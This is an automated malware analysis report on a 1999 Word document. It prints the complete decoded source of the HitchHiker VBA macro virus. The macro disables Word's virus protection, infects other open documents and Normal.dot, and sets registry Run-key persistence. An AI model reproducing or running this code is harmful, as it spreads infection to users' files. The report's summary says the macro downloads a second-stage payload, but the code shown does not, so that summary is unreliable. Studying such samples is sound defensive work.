Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e9e1d870131ce34…

MALICIOUS

Office (OLE)

31.5 KB Created: 1999-06-22 07:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9e258ebfe1d0e19499111bbe3b95e3c5 SHA-1: 56d12c96076fcbdc03c289a6ad669aba9d9a089d SHA-256: 7e9e1d870131ce3466df129dbb2cf1525829bdd7f908d053a8d90bb42ba9195d
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes a Document_Open subroutine. This subroutine attempts to delete existing code and add new code from a file named 'C:\Windows\HitchHiker', and also attempts to write to 'C:\WINDOWS\��������er.vbs'. The macro's intent is to download and execute a second-stage payload, as indicated by the 'CreateObject' call and the file operations.

Heuristics 5

  • ClamAV: Doc.Trojan.Rider-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Rider-7
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "") = "C:\WINDOWS\HitchHiker.vbs"
    Open "C:\WINDOWS\HitchHiker.vbs" For Output As #1: Print #1, "Set HitchHiker = WScript.CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"
    Print #1, "For x = 1 To HitchHiker.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open(): Options.VirusProtection = (0 - 0): Options.ConfirmConversions = (1 - 1)
    If MacroContainer.FullName = NormalTemplate.FullName Then GoTo BusStation Else GoTo HighWay

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2571 bytes
SHA-256: 82032d7699e41575e6f984e6f19703c9ca2f5428ceec99fc617cefff9aaab7e2
Detection
ClamAV: Doc.Trojan.Rider-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open(): Options.VirusProtection = (0 - 0): Options.ConfirmConversions = (1 - 1)
If MacroContainer.FullName = NormalTemplate.FullName Then GoTo BusStation Else GoTo HighWay
BusStation: ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Windows\HitchHiker"
ActiveDocument.VBProject.Description = "I'm Here For The Ride...": ActiveDocument.SaveAs FileName:=ActiveDocument.FullName: End
HighWay: If Documents.Count > 1 Then
A = Documents.Count: B = Int(Rnd * A): If B = 0 Then B = 1
If Documents.Item(B).VBProject.Description = "I'm Here For The Ride..." Then GoTo HighWay
C = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Documents.Item(B).VBProject.VBComponents.Item(1).CodeModule.AddFromString C: Documents.Item(B).VBProject.Description = "I'm Here For The Ride..."
MacroContainer.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
MacroContainer.VBProject.Description = "": MacroContainer.SaveAs FileName:=MacroContainer.FullName: Documents.Item(B).SaveAs FileName:=Documents.Item(B).FullName
Open "C:\Windows\HitchHiker" For Output As #1: Print #1, C: Close #1: End If
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "") = "C:\WINDOWS\HitchHiker.vbs"
Open "C:\WINDOWS\HitchHiker.vbs" For Output As #1: Print #1, "Set HitchHiker = WScript.CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"
Print #1, "For x = 1 To HitchHiker.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
Print #1, "HitchHiker.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1": Print #1, "Next"
Print #1, "HitchHiker.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile (" & Chr(34) & "C:\WINDOWS\HitchHiker" & Chr(34) & ")"
Print #1, "HitchHiker.Application.Quit": Close #1: End Sub
'HitchHiker~By~Lys~KovicK